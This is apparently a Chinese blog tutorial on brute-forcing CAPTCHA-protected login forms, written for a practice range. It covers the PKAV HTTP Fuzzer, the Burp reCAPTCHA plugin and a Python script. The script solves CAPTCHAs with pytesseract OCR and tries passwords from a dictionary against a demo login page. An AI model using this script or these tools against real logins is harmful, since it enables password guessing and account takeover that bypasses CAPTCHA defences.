Web安全之爆破中的验证码识别~
写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~
0x01 使用现成工具
这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典

配置验证码识别


ok~爆破出来了~

0x02 使用爬虫requests库+pytesseract库
当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破
可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html
附上自己写的小脚本
# -*- coding: utf-8 -*-
#后台带验证码爆破 By 卿
import requests
import pytesseract
import re
code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址
#识别验证码的函数
def user_code():
#获取图片验证码
r = s.get(code_url)
with open('1.png', 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
f.flush()
f.close()
#识别图片验证码
im = pytesseract.image_to_string('1.png')
im = im.replace(' ', '')
return im
#有时候识别失败可以加载正则再次识别
if re.match('[0-9]{4}',im):#4位数字的验证码
return im
else:
return user_code()#再次识别
s=requests.session()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
with open(r'pass.dic', 'r') as Pass:#加载密码字典
for password in Pass.readlines():
code = user_code()
print("验证码"+code)
data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
r=s.post(brute_url,data=data,headers=headers)
#密码正确
if 'Password mistake' not in r.text:
print("正确的密码为:"+password)
break

0x03 使用Burp插件reCAPTCHA
reCAPTCHA
一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!
项目主页:https://github.com/bit4woo/reCAPTCHA

使用:
选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

- 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。
username=%s&password=%s&typeid=%s

在Intruder中使用:
完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了
Web安全之爆破中的验证码识别~的更多相关文章
- Python中机器学习-验证码识别-粗略总结
#验证码识别# 解决办法:将验证码切割成单个字符训练 遇到问题:验证码字符大小不一或重叠 对上述问题的解决:通过CNN(卷积神经网络)直接就是端到端不分割的识别方式 处理验证码:将图片二值化 输入验证 ...
- python中的验证码识别库PyTesser
PyTesser PyTesser is an Optical Character Recognition module for Python. It takes as input an image ...
- python之web自动化验证码识别解决方案
验证码识别解决方案 对于web应用程序来讲,处于安全性考虑,在登录的时候,都会设置验证码,验证码的类型种类繁多,有图片中辨别数字字母的,有点击图片中指定的文字的,也有算术计算结果的,再复杂一点就是滑动 ...
- python验证码识别
关于利用python进行验证码识别的一些想法 用python加“验证码”为关键词在baidu里搜一下,可以找到很多关于验证码识别的文章.我大体看了一下,主要方法有几类:一类是通过对图片进行处 理,然后 ...
- JAVA WEB项目中生成验证码及验证实例(附源码及目录结构)
[我是一个初学者,自己总结和网上搜索资料,代码是自己敲了一遍,亲测有效,现将所有的目录结构和代码贴出来分享给像我一样的初学者] 作用 验证码为全自动区分计算机和人类的图灵测试的缩写,是一种区分用户是计 ...
- 字符型图片验证码识别完整过程及Python实现
字符型图片验证码识别完整过程及Python实现 1 摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...
- ocr智能图文识别 tess4j 图文,验证码识别 分享及所遇到的问题
自己对tess4j的使用总结 1,tess4j 封装了 tesseract-ocr 的操作 可以用很简洁的几行代码就实现原本tesseract-ocr 复杂的实现逻辑 如果你也想了解tesseract ...
- 基于tensorflow的‘端到端’的字符型验证码识别源码整理(github源码分享)
基于tensorflow的‘端到端’的字符型验证码识别 1 Abstract 验证码(CAPTCHA)的诞生本身是为了自动区分 自然人 和 机器人 的一套公开方法, 但是近几年的人工智能技术的发展 ...
- WebDriver中自动识别验证码--Python实现
一.在自动化测试中,遇到验证码的处理方法有以下两种: 1.找开发去掉验证码或者使用万能验证码 2.使用OCR自动识别 这里,方法一只要和研发沟通就行. 使用pytesseract自动化识别,一般识别率 ...
随机推荐
- Android入门学习教程PDF免费下载
场景 CSDN: https://blog.csdn.net/badao_liumang_qizhi 博客园: https://www.cnblogs.com/badaoliumangqizhi/ 哔 ...
- Vscode for python ide配置
1.文件头添加 自定义代码片段 文件>首选项>用户代码片段 搜索python 添加代码 "HEADER":{ "prefix": "hea ...
- Linux之正则表达式grep
真好!
- 54 (OC)* 网络七层架构
一:TCP/IP协议 二:七层协议 1:物理层 物理层为设备之间的数据通信提供传输媒体及互连设备,为数据传输提供可靠的环境. 1.1:传输媒体和互连设备 物理层的媒体包括架空明线.平衡 ...
- 04 (OC)* weak的实现原理
一:Weak 表 1: Runtime 维护了一个 Weak 表,用于存储所有 Weak 指针.Weak 表是一个哈希表,Key 是对象的地址,Value 是一个数组,数组里面放的是 Weak 指针的 ...
- 11 (OC)* CoreImage
coreimage framework 组成 apple 已经帮我们把image的处理分类好,来看看它的结构: 主要分为三部分: 1)定义部分:CoreImage 何CoreImageDefines. ...
- 30 道 Vue 面试题
前言 本文以前端面试官的角度出发,对 Vue 框架中一些重要的特性.框架的原理以问题的形式进行整理汇总,意在帮助作者及读者自测下 Vue 掌握的程度. 本文章节结构以从易到难进行组织,建议读者按章节顺 ...
- HTML5实现首页动态视频背景
话不多说,先看效果图: 炫酷吗?你想实现这种动态视频作为背景的首页吗?来,一起来学习,本文将带你一起实现H5动态视频背景: 首先网上找一段清晰的视频下载下来,最好是MP4格式的: 下载好了之后 ...
- windows下使用zkui
一,前言 使用zkui可以很方便的查看操作zookeeper 二,从源代码生成可执行jar zkui在github上的地址:https://github.com/DeemOpen/zkui 使用ide ...
- Java String 类解析
I.构造函数: public String() {} 默认构造函数 public String(String original) {} 使用原有字符串构造 public String(char va ...